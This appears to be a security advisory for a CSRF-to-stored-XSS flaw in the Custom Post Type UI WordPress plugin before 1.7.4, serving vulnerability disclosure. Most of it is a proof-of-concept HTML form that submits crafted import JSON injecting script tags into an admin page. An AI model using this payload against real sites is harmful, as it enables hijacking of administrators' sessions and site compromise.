Custom Post Type UI < 1.7.4 – CSRF to Stored XSS

Description

The Custom Post Type UI WordPress plugin was vulnerable to Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS) within the "Import Post Types" functionality in the "Tools" tab. This functionality allows users to import "Post Types" from other websites, or from backup, as JSON. This could allow an attacker to execute arbitrary JavaScript in a victim's browser, if the attacker could entice the authenticated victim to visit a page they controlled. If successfully exploited, this vulnerability could lead to full site compromise.

Proof of Concept

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://jetpack.local/wp-admin/admin.php?page=cptui_tools" method="POST">
      <input type="hidden" name="cptui_post_import" value="{"slug":{"name":"<script>alert(1)<\/script>","label":"<script>alert(1)<\/script>","singular_label":"<script>alert(1)<\/script>","description":"<script>alert(1)<\/script>","public":"true","publicly_queryable":"true","show_ui":"true","show_in_nav_menus":"true","delete_with_user":"false","show_in_rest":"true","rest_base":"","rest_controller_class":"","has_archive":"false","has_archive_string":"","exclude_from_search":"false","capability_type":"post","hierarchical":"false","rewrite":"true","rewrite_slug":"","rewrite_withfront":"true","query_var":"true","query_var_slug":"","menu_position":"","show_in_menu":"true","show_in_menu_string":"","menu_icon":"","supports":["title","editor","thumbnail"],"taxonomies":[],"labels":{"menu_name":"","all_items":"","add_new":"","add_new_item":"","edit_item":"","new_item":"","view_item":"","view_items":"","search_items":"","not_found":"","not_found_in_trash":"","parent_item_colon":"","featured_image":"","set_featured_image":"","remove_featured_image":"","use_featured_image":"","archives":"","insert_into_item":"","uploaded_to_this_item":"","filter_items_list":"","items_list_navigation":"","items_list":"","attributes":"","name_admin_bar":"","item_published":"","item_published_privately":"","item_reverted_to_draft":"","item_scheduled":"","item_updated":""},"custom_supports":""}}" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>